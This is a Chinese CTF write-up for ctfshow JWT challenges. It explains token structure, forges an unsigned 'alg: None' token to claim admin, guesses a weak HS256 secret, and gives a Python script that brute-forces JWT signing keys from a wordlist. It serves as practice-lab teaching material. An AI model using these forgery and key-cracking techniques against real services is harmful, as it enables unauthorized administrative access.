ctfshow web入门 jwt(持续更新)

基础知识

jwt是由三部分构成的,第一部分是头部(header),第二部分是载荷(payload),第三部分为签证(signature)

  1. 头部
    头部声明了类型和加密方法,如下
{
  'typ': 'JWT',
  'alg': 'HS256'
}

然后将头部进行base64加密后去掉=号,构成第一部分

ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9
  1. 载荷
    和头部结构类似,但存放的是数据

  2. 签证
    jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

header (base64后的)
payload (base64后的)
secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

web345

jwt:

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Mjc4NzIwMDMsImV4cCI6MTYyNzg3OTIwMywibmJmIjoxNjI3ODcyMDAzLCJzdWIiOiJ1c2VyIiwianRpIjoiMThhN2UzY2M2ZmNiZTM0ZGU3NzFkYjY0ZWUzZjk5NTcifV0

jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥

HEADER

{
  "alg": "None",
  "typ": "jwt"
}

PAYLOAD
[
  {
    "iss": "admin",
    "iat": 1627872003,
    "exp": 1627879203,
    "nbf": 1627872003,
    "sub": "user",
    "jti": "18a7e3cc6fcbe34de771db64ee3f9957"
  }
]

只要把sub中的user换成admin后在base64加密,然后访问/admin/即可

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Mjc4NzIzNDIsImV4cCI6MTYyNzg3OTU0MiwibmJmIjoxNjI3ODcyMzQyLCJzdWIiOiJ1c2VyIiwianRpIjoiMDM1YmI4YjVhMTNhZDhjYzgxOGFiODE0MGM3YjBiMGUifV0

web346-347

jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3MzYzMiwiZXhwIjoxNjI3ODgwODMyLCJuYmYiOjE2Mjc4NzM2MzIsInN1YiI6InVzZXIiLCJqdGkiOiJmNTRmNjQ1ZDA0ZTkxNzIzYWQyZWIxYmRjNmRiNjU5ZCJ9.vSZdnZzD-ESw-l8HJvPWJ0Tc7yshkK43BlWjVWwHcgA

解密后发现是hs256加密,还是把sub中的user改成admin,然后盲猜一手密钥123456
请添加图片描述
发现成功。

web348

看提示说要爆破,可以先生成一个1到4位的英文字典,然后用群主的脚本来爆破

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-06 16:34:57
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import jwt
import json


def runblasting(path,jwt_str,alg):
    if alg == "none":
        alg = "HS256"
    with open(path,encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('                               use '+key_)
            try:
                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
	runblasting('key.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值